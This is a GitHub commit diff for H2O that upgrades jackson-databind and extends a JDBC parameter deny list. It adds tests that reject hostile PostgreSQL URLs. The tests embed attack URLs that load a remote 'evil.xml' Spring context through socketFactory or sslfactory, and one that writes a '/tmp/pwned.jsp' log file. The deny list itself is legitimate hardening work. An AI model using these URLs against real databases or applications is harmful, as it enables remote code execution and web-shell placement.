Skip to content

Commit 5643c0c

Browse files
author
h2o-ops
committed
Merge remote-tracking branch origin/rel-3.46.0
2 parents 915eecb + b9ae2d3 commit 5643c0c

4 files changed

Lines changed: 48 additions & 4 deletions

File tree

h2o-assemblies/main/build.gradle

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,12 @@ dependencies {
5555
api "com.google.protobuf:protobuf-java:3.25.5"
5656

5757
constraints {
58-
api('com.fasterxml.jackson.core:jackson-databind:2.17.2') {
58+
api('com.fasterxml.jackson.core:jackson-databind:2.18.6') {
5959
because 'Fixes CVE-2022-42003'
6060
because 'Fixes PRISMA-2023-0067'
6161
because 'Fixes CVE-2023-35116'
6262
because 'Fixes sonatype-2024-0171'
63+
because 'Fixes GHSA-72hv-8253-57qq'
6364
}
6465
api('org.jetbrains.kotlin:kotlin-stdlib:1.6.21') {
6566
because 'Fixes CVE-2020-29582'

h2o-assemblies/steam/build.gradle

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,11 +51,12 @@ dependencies {
5151
api "com.google.oauth-client:google-oauth-client:1.33.3"
5252

5353
constraints {
54-
api('com.fasterxml.jackson.core:jackson-databind:2.17.2') {
54+
api('com.fasterxml.jackson.core:jackson-databind:2.18.6') {
5555
because 'Fixes CVE-2022-42003'
5656
because 'Fixes PRISMA-2023-0067'
5757
because 'Fixes CVE-2023-35116'
5858
because 'Fixes sonatype-2024-0171'
59+
because 'Fixes GHSA-72hv-8253-57qq'
5960
}
6061
api('org.codehaus.jettison:jettison:1.5.4') {
6162
because 'Fixes CVE-2023-1436'

h2o-core/src/main/java/water/jdbc/SQLManager.java

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,8 +46,11 @@ public class SQLManager {
4646
private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
4747

4848
private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = Stream.of(
49-
"autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", //mysql
50-
"allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", //mysql
49+
"autoDeserialize", "queryInterceptors", "allowLoadLocalInfile", "allowMultiQueries", //mysql
50+
"allowLoadLocalInfileInPath", "allowUrlInLocalInfile", "allowPublicKeyRetrieval", //mysql
51+
"statementInterceptors", //mysql
52+
"socketFactory", "socketFactoryArg", "sslfactory", "sslfactoryarg", //postgresql
53+
"loggerLevel", "loggerFile", //postgresql -- not dangerous but user should not have a reason to use them
5154
"init", "script", "shutdown" //h2
5255
).map(String::toLowerCase).collect(Collectors.toList());
5356
private static AtomicLong NEXT_TABLE_NUM = new AtomicLong(0);

h2o-core/src/test/java/water/jdbc/SQLManagerTest.java

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -246,6 +246,36 @@ public void testValidateJdbcConnectionStringMysqlMultipleEncodedString() {
246246
SQLManager.validateJdbcUrl(jdbcConnection);
247247
}
248248

249+
@Test
250+
public void testValidateJdbcConnectionStringPostgresqlSocketFactory() {
251+
exception.expect(IllegalArgumentException.class);
252+
exception.expectMessage("Potentially dangerous JDBC parameter found: socketFactory");
253+
254+
String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:9090/evil.xml";
255+
256+
SQLManager.validateJdbcUrl(jdbcConnection);
257+
}
258+
259+
@Test
260+
public void testValidateJdbcConnectionStringPostgresqlSslFactory() {
261+
exception.expect(IllegalArgumentException.class);
262+
exception.expectMessage("Potentially dangerous JDBC parameter found: sslfactory");
263+
264+
String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://127.0.0.1:9090/evil.xml";
265+
266+
SQLManager.validateJdbcUrl(jdbcConnection);
267+
}
268+
269+
@Test
270+
public void testValidateJdbcConnectionStringPostgresqlLoggerLevel() {
271+
exception.expect(IllegalArgumentException.class);
272+
exception.expectMessage("Potentially dangerous JDBC parameter found: loggerLevel");
273+
274+
String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=/tmp/pwned.jsp";
275+
276+
SQLManager.validateJdbcUrl(jdbcConnection);
277+
}
278+
249279
/**
250280
* Test fail if any exception is thrown therefore no assert
251281
*/
@@ -254,4 +284,13 @@ public void testValidateJdbcConnectionStringMysqlPass() {
254284
String jdbcConnection = "jdbc:mysql://127.0.0.1:3306/mydb?allowedParameter=true";
255285
SQLManager.validateJdbcUrl(jdbcConnection);
256286
}
287+
288+
/**
289+
* Test fail if any exception is thrown therefore no assert
290+
*/
291+
@Test
292+
public void testValidateJdbcConnectionStringPostgresqlPass() {
293+
String jdbcConnection = "jdbc:postgresql://127.0.0.1:5432/mydb?ssl=true&sslmode=require";
294+
SQLManager.validateJdbcUrl(jdbcConnection);
295+
}
257296
}

0 commit comments

Comments
 (0)